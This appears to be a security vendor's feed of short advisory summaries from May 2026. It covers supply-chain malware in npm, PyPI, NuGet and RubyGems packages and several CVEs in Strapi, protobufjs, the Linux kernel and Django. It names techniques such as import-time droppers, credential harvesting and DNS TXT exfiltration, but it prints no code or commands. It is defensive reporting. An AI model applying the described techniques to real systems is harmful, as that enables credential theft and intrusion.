TeamPCP's Mini Shai-Hulud campaign expanded on May 19 with hundreds of malicious npm releases across the AntV data-visualization ecosystem and related packages including echarts-for-react, timeago.js, size-sensor, and jest-canvas-mock.
durabletask PyPI releases backdoored with multi-cloud credential stealer
Three malicious PyPI releases of Microsoft's durabletask Python SDK, versions 1.4.1 through 1.4.3, executed an import-time Linux dropper that fetched rope.pyz, harvested cloud and developer secrets, and attempted lateral movement through AWS SSM and Kubernetes.
Weekly Briefing - 19-05-2026
Corgea's weekly briefing for 12-19 May 2026 covers the durabletask PyPI compromise, the Mini Shai-Hulud expansion into AntV and related npm packages, the Nx Console extension compromise, WebdriverIO command injection, and other important supply-chain, kernel, and application-security research from the week.
Backdoored Cemu Linux release assets reused TeamPCP credential-stealer payload
Cemu v2.6 Linux GitHub release assets were deleted and re-uploaded with a Python zipapp payload tied to the TanStack and Mistral TeamPCP supply-chain campaign, exposing users who ran the AppImage or Ubuntu ZIP to credential theft and possible destructive behavior.
Strapi advisory cluster exposes admin token oracle and content-builder SQL injection
Five Strapi advisories published in mid-May affect npm packages across the Strapi CMS stack, including a critical unauthenticated admin reset-token oracle in @strapi/strapi and a critical Content-Type Builder SQL injection in @strapi/content-type-builder and @strapi/plugin-content-type-builder.
MAL-2026-3744: node-ipc npm releases backdoored with DNS exfiltration stealer
Three npm releases of node-ipc, versions 9.1.6, 9.2.3, and 12.0.1, were published with an obfuscated CommonJS payload that steals developer and CI credentials and exfiltrates gzipped archives through DNS TXT queries.
GemStuffer abuses RubyGems as a data-exfiltration channel
GemStuffer is a RubyGems registry-abuse campaign that published 155 junk package artifacts containing scraped UK council portal data, using hardcoded RubyGems API keys and valid .gem archives as a public data drop.
CVE-2026-41242: protobufjs can execute code from attacker-controlled schemas
protobufjs before 7.5.5 and 8.0.1 can turn schema metadata into executable JavaScript through unsafe runtime code generation, exposing Node.js services that load attacker-influenced protobuf definitions or JSON descriptors.
Dirty Frag: Linux kernel ESP and RxRPC flaws enable local root escalation
Dirty Frag chains CVE-2026-43284 in Linux kernel ESP/IPsec handling with CVE-2026-43500 in RxRPC to turn local access into root on many Linux distributions, with public proof-of-concept code available before broad vendor patch coverage.
Five malicious IR.* NuGet packages impersonate Chinese .NET libraries
A NuGet campaign published five IR.* packages under the bmrxntfj account, using functional .NET library wrappers plus a Reactor-protected infostealer to target browser credentials, SSH keys, cloud secrets, and crypto wallets across developer workstations and CI systems.
Mini Shai-Hulud Supply-Chain Worm Compromises TanStack, Mistral AI, UiPath, and 160+ npm Packages
TeamPCP launched a coordinated supply-chain attack against the npm and PyPI ecosystems, compromising 373 malicious package versions across 169 package names including @tanstack/react-router, @mistralai/mistralai, and @uipath packages. TanStack's npm compromise is now tracked as CVE-2026-45321, and the BeProduct slice of the same worm wave is now separately tracked as CVE-2026-46412.
CVE-2026-6907: Django cache middleware mishandles Vary: *
Django's UpdateCacheMiddleware could cache responses that explicitly declared themselves uncacheable for shared caches, creating a path for private data exposure.
No matching content found.